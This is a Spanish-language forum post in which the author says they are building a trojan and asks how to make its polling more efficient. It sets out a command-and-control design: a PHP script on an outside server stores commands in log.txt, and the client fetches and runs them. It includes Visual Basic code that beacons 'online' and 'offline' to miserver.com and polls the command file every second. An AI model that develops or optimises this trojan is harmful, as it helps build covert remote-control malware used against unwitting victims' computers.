Estoy programando una aplicación, se le puede llamar troyano o como sea. La cosa es que por los problemas de conexiones con routers, firewalls y demás, el troyano funciona de la siguiente forma.
Un archivo PHP se aloja en cualquier server junto a un log.txt. El troyano envia los datos por GET osea http://miserver.com/ miarchivo.php?comando=comando a ejecutar
Este archivo.php captura el comando y lo deja en el log.txt
El server va descargando el archivo log.txt y según el comando que tenga, lo ejecuta.
Bien pues lo hago con la api wininet para ahorrar dependencias, ya sé que puedo hacer eso con Winsock y con Inet pero no quiero dependencias para el server de un troyano.
Bueno pues el código en general funciona todo bien, tarda apenas 1 ó 2 segundos en realizarse todo el proceso pero la cosa es que el server para comprobar que comando tiene que ejecutar tiene que descargar el archivo log.txt continuamente, lo hago con un timer, pero esque al tener que conectar tantas veces se ralentiza y no quiero que se consuman tantos recursos...
Me gustaría que conectase y una vez abierta la conexión el resto de veces descargase el archivo puesto que la conexión no la cierro, pero no funciona...alguien podría decirme como arreglarlo?, esque si obligadamente tengo que conectar cada ve que quiero recargar el archivo, osea cada segundo, puff, eso lo va a notar el rendimiento del pc, consume más recursos... se nota considerablemente...
El código es el siguiente, a ver si me podéis ayudar.
Código
' variables generales Dim data As String Dim x As Boolean ' Constantes para las funciones Api Const scUserAgent = "API-Guide test program" Const INTERNET_OPEN_TYPE_DIRECT = 1 Const INTERNET_FLAG_RELOAD = &H80000000 Const INTERNET_FLAG_NO_CACHE_WRITE = &H4000000 ' Crea conexión a internet Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" ( _ ByVal sAgent As String, _ ByVal lAccessType As Long, _ ByVal sProxyName As String, _ ByVal sProxyBypass As String, _ ByVal lFlags As Long) As Long ' Abre URL Private Declare Function InternetOpenUrl Lib "wininet" Alias "InternetOpenUrlA" ( _ ByVal hInternetSession As Long, _ ByVal lpszUrl As String, _ ByVal lpszHeaders As String, _ ByVal dwHeadersLength As Long, _ ByVal dwFlags As Long, _ ByVal dwContext As Long) As Long ' Cierra conexión Private Declare Function InternetCloseHandle Lib "wininet" (ByVal hInet As Long) As Integer 'CONTENIDO DEL FICHERO Private Declare Function InternetReadFile Lib "wininet" ( _ ByVal hFile As Long, _ ByVal sBuffer As String, _ ByVal lNumBytesToRead As Long, _ lNumberOfBytesRead As Long) As Integer 'Variables para recargar constantemente Dim hOpen As Long Dim hFile As Long '///////// MANDAMOS MENSAJE ONLINE AL EJECUTAR /////////////// Private Sub Form_Load() 'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION Dim hOpen As Long Dim hFile As Long Dim Url As String Url = "http://miserver/log.php?comando=online" hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _ vbNullString, vbNullString, 0) hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _ ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&) DoEvents x = True Timer1.Enabled = True End Sub '///////// MANDAMOS MENSAJE OFFLINE AL CERRAR /////////////// Private Sub Form_Unload(Cancel As Integer) 'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION Dim hOpen As Long Dim hFile As Long Dim Url As String Url = "http://miserver.com/log.php?comando=offline" hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _ vbNullString, vbNullString, 0) hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _ ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&) Espera (1) End Sub '////////////////////////////////////////////////////////////// Private Sub Timer1_Timer() 'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION Dim sBuffer As String * 128 Dim Ret As Long Dim str_Total As String Dim Url As String If x = True Then Url = "http://miserver.com/log.txt" hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _ vbNullString, vbNullString, 0) hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _ ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&) 'LEEMOS FICHERO Call InternetReadFile(hFile, sBuffer, 128, Ret) str_Total = sBuffer While Ret <> 0 Call InternetReadFile(hFile, sBuffer, 128, Ret) str_Total = str_Total & Mid(sBuffer, 1, Ret) DoEvents Wend x = False Else 'DESCARGAMOS FICHERO hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _ ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&) Call InternetReadFile(hFile, sBuffer, 128, Ret) str_Total = sBuffer While Ret <> 0 Call InternetReadFile(hFile, sBuffer, 128, Ret) str_Total = str_Total & Mid(sBuffer, 1, Ret) DoEvents Wend Text1.Text = str_Total End If End Sub Sub Espera(Segundos As Single) Dim ComienzoSeg As Single Dim FinSeg As Single ComienzoSeg = Timer FinSeg = ComienzoSeg + Segundos Do While FinSeg > Timer DoEvents If ComienzoSeg > Timer Then FinSeg = FinSeg - 24 * 60 * 60 End If Loop End Sub
Como podéis ver la parte importante es la deltimer que es la que tiene un valor x=true, para que la primera vez haga el proceso completo pero luego la pone en false para que el timer solo descargue el archivo puesto que la conexión supuestamente está abierta porque yo no la cerré. Quizás me estoy equivocando y esto que quiero hacer no es factible, pero si es así aclarádmelo por favor, porque me estoy comiendo el coco demasiado xDD
Saludos,
y gracias de antemano.